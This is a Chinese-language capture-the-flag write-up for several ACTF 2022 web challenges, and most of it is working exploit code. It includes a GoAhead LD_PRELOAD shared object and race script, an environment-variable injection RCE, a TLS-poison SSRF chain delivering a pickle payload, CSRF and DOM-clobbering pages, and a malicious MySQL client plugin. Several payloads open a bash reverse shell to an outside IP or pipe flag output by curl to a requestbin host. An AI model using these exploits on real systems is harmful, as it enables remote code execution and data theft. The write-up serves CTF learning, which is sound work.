前言 有一说一,web还须努力,出了两个题,TLS没配好证书,beWhat差个input,都是出了一半,可惜了
gogogo
dockerfile发现使用的是 goaheadv5.1.4,然后就有两种解法,一种利用上传so(CVE-2021-42342),一种利用p牛的环境变量注入RCE
解法一: 上传hack.so
GoAhead环境变量注入复现踩坑记
#include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void aaanb(void) { unsetenv("LD_PRELOAD"); system("touch /tmp/success"); system("/bin/bash -c 'bash -i >& /dev/tcp/150.158.58.29/7777 0>&1'"); }
编译
gcc hack.c -fPIC -s -shared -o hack.so
exp.py
import requests, random from concurrent import futures from requests_toolbelt import MultipartEncoder hack_so = open('hack.so','rb').read() def upload(url): m = MultipartEncoder( fields = { 'file':('1.txt', hack_so,'application/octet-stream') } ) r = requests.post( url = url, data=m, headers={'Content-Type': m.content_type} ) def include(url): m = MultipartEncoder( fields = { 'LD_PRELOAD': '/proc/self/fd/7', } ) r = requests.post( url = url, data=m, headers={'Content-Type': m.content_type} ) def race(method): url = 'http://localhost:10218/cgi-bin/hello' if method == 'include': include(url) else: upload(url) def main(): task = ['upload','include'] * 1000 random.shuffle(task) # with futures.ThreadPoolExecutor(max_workers=5) as executor: results = list(executor.map(race, task)) if __name__ == "__main__": main()
解法二: 利用环境变量注入去RCE
exp.py
import requests payload = { "BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"), } r = requests.post("http://123.60.84.229:10218/cgi-bin/hello",files=payload) print(r.text)
FLAG:ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
ToLeSion
TLS Poison 攻击通过FTPS被动模式 ssrf去打Memcached,写入session值为pickle反序列化payload,这两篇文章是真的好
看完文章就知道这道题利用的是ftps的二次会话重用,环境搭建 https://github.com/ZeddYu/TLS-poison
安装TLS Server
# Install dependencies sudo apt install git redis git clone https://github.com/jmdx/TLS-poison.git # Install rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh cd TLS-poison/client-hello-poisoning/custom-tls # There will definitely be warnings I didn't clean up :) cargo build
就是需要一个证书,将11211端口转发到2048端口
/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048
然后在2048端口起一个ftp用来处理转发的流量
evilftp.py
import socketserver, threading,sysclass MyTCPHandler (socketserver.StreamRequestHandler ): def handle (self ): print('[+] connected' , self.request, file=sys.stderr) self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr,flush=True ) self.request.sendall(b'230 Login successful.\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'200 yolo\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'200 yolo\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'257 "/" is the current directory\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,203)\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'200 Switching to Binary mode.\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n' ) self.data = self.rfile.readline().strip().decode() print(self.data, file=sys.stderr) self.request.sendall(b'250 Requested file action okay, completed.' ) exit() def ftp_worker (): with socketserver.TCPServer(('0.0.0.0' , 2048 ), MyTCPHandler) as server: while True : server.handle_request() threading.Thread(target=ftp_worker).start()
最后exp.py
import redisimport pickle,requestsdef get_pickle_payload (cmd ): class AAA (): def __reduce__ (self ): return (__import__ ('os' ).system, (cmd,)) aaa = AAA() payload = pickle.dumps(aaa) return payload def parse (x ): return b'\r\n' + x + b'\r\n' def set (key, value ): return parse(b'set %s 0 0 %d\n%s' % (key.encode(), len (value), value)) def rce (): r = requests.get( url = 'http://localhost:10023/?url=ftps://ctf.zjusec.top:8888/' ) print(r.text) r = requests.get( url = 'http://localhost:10023/?url=file:///etc/passwd' , headers={ 'Cookie' :'session=aaa' } ) print(r.text) def local_set (): payload = get_pickle_payload('/bin/bash -c "bash -i >& /dev/tcp/150.158.58.29/7777 0>&1"' ) r = redis.StrictRedis(host='localhost' , port=6379 , db=0 ) redis_payload = set ('actfSession:aaa' , payload) print(redis_payload) r.set ('payload' , redis_payload) if __name__ == "__main__" : rce()
poorui 逻辑非常简单,就是通过websocket进行通信,看一下server的逻辑,如果api是”getflag”传入apiGetFlag进行处理,然后转入flagbot进行处理
看flagbot的逻辑,只需要from为admin即可,from就是登录转入的 “凭证信息”
admin登录没有任何限制,直接和后端进行websockets通信
python3 -m websockets ws://124.71.181.238:8081/
FLAG:ACTF{s0rry_for_4he_po0r_front3nd_ui_:)_4FB89F0AAD0A}
beWhatYouWannaBe
首先提供了一个xss的点
然后/beAdmin路由添加管理员权限,/flag 路由显示一半flag
验证token的函数可以不断伪造
将生成的token放到html中,然后提前时间bp不断爆破访问xss.html,然后CSRF去添加用户为admin
<html > <body > <form action ="http://localhost:8000/beAdmin" method ="POST" enctype ="application/x-www-form-urlencoded" > <input type ="hidden" name ='username' value ='1' /> <input type ="hidden" name ='csrftoken' value ='d7ca620cbaf8615869492a7d8aa400e1bf922eefa179ac3f08bcfedd10c6a50a' /> <input type ="submit" value ="Submit request" /> </form > <script > document .forms[0 ].submit(); </script > </body > </html >
访问 /flag
后半段flag,需要在禁用js的情况下通过解析html,获取到变量类似于延申的变量关系,最终卡到这这点
flag2,利用dom,这道题做的时候谷歌evaluate 相关时有一些利用iframe进行绕过的CTF题目,但是没走到 input 那一步
<iframe name="fff" srcdoc="<iframe srcdoc='<input id=aaa name=ggg value=this_is_what_i_want><input id=aaa>' name=lll>"></iframe>
FLAG:ACTF{3asy_csrf_and_bypass_stup1d_tok3n_g3n3rator_and_use_d0m_clobberring!!!}
完善一下
<html > <head > <title > csrf</title > </head > <script src ="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js" > </script > <script src ="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js" > </script > <body > <iframe name =fff srcdoc ="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>" > </iframe > <form id ="form" action ="http://localhost:8000/beAdmin" method ="post" > <input name ="username" value ="aaa" > <input name ="csrftoken" id ="csrftoken" value ="1" > </form > <script > function getToken ( ) { return sha256(Math .sin(Math .floor(Date .now() / 1000 )).toString()) } $("#csrftoken" ).attr("value" , getToken()) document .getElementById("form" ).submit() </script > </body > </html >
myclient 环境设置了 secure_file_priv 为 /tmp/e10adc3949ba59abbe56e057f20f883e
index.php 可控
<?php $con = mysqli_init(); $key = $_GET ['key' ]; $value = $_GET ['value' ]; if (strlen($value ) > 1500 ){ die ('too long' ); } if (is_numeric($key ) && is_string($value )) { mysqli_options($con , $key , $value ); } mysqli_options($con , MYSQLI_OPT_LOCAL_INFILE, 0 ); if (!mysqli_real_connect($con , "127.0.0.1" , "test" , "test123456" , "mysql" )) { $content = 'connect failed' ; } else { $content = 'connect success' ; } mysqli_close($con ); echo $content ; ?>
看到题目,我一愣,有点眼熟,然后就找到了TQLCTF中的SQL-TEST TQLCTF-SQL_TEST出题笔记 可以说形式上是一模一样了,但是题目的环境完全不一样,TQLCTF是通过反序列化解题,但这道题目并没有反序列化的环境,不过指明了解题的道路,继续去探索 mysqli_options 中的选项
WP:
使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE,写一个 evil mysql 客户端认证库到 /tmp/e10adc3949ba59abbe56e057f20f883e
使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE 写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e 和 default-auth=<name of library file - extension>
使用 MYSQLI_READ_DEFAULT_FILE 选项设置为 /tmp/e10adc3949ba59abbe56e057f20f883e/
来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。
RCE
evil.c
#include <mysql/client_plugin.h> #include <mysql.h> #include <stdio.h> /* Ubuntu x86_64: apt install libmysqlclient-dev gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c NOTE: the plugin_name MUST BE the full name with the directory traversal!!! */ static int evil_init(char * a, size_t b , int c , va_list ds) { system("/readflag | curl -XPOST http://dnsdatacheck.7twx8in3gacdrrvq.b.requestbin.net/xxd -d @-"); return NULL; } static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql) { int res; res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1); return CR_OK; } mysql_declare_client_plugin(AUTHENTICATION) "auth_simple", /* plugin name */ "Author Name", /* author */ "Any-password authentication plugin", /* description */ {1,0,0}, /* version = 1.0.0 */ "GPL", /* license type */ NULL, /* for internal use */ evil_init, /* no init function */ NULL, /* no deinit function */ NULL, /* no option-handling function */ evilplugin_client /* main function */ mysql_end_client_plugin;
编译
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
exp.py
import requestsimport randomimport stringimport codecsdef genName (): return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters) url = "http://124.71.205.170:10047/index.php" shell = open ("exp.so" ,"rb" ).read() n = 100 chunks = [shell[i:i+n] for i in range (0 , len (shell), n)] print(len (chunks)) prefix = genName() for idx in range (len (chunks)): name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK" +str (idx); chunk = chunks[idx]; x = "0x" +codecs.encode(chunk,'hex' ).decode() if idx != 0 and idx != len (chunks)-1 : previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK" +str (idx-1 ) sql = f"SELECT concat(LOAD_FILE('{previus_name} '), {x} ) INTO DUMPFILE '{name} '" r = requests.get(url,params={"key" :"3" , "value" : sql}) print(r.text) print(name) elif idx == len (chunks)-1 : previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK" +str (idx-1 ) sql = f"SELECT concat(LOAD_FILE('{previus_name} '), {x} ) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'" r = requests.get(url,params={"key" :"3" , "value" : sql}) print(r.text) open ("name" ,"w" ).write("auth_simple" ) print("auth_simple" ) else : sql = f"SELECT {x} INTO DUMPFILE '{name} '" r = requests.get(url,params={"key" :"3" , "value" : sql}) print(r.text)
WP team-s2/ACTF-2022: Archive of AAA CTF 2022
ACTF Writeup by SU (qq.com)
2022ACTF-Wp (qq.com)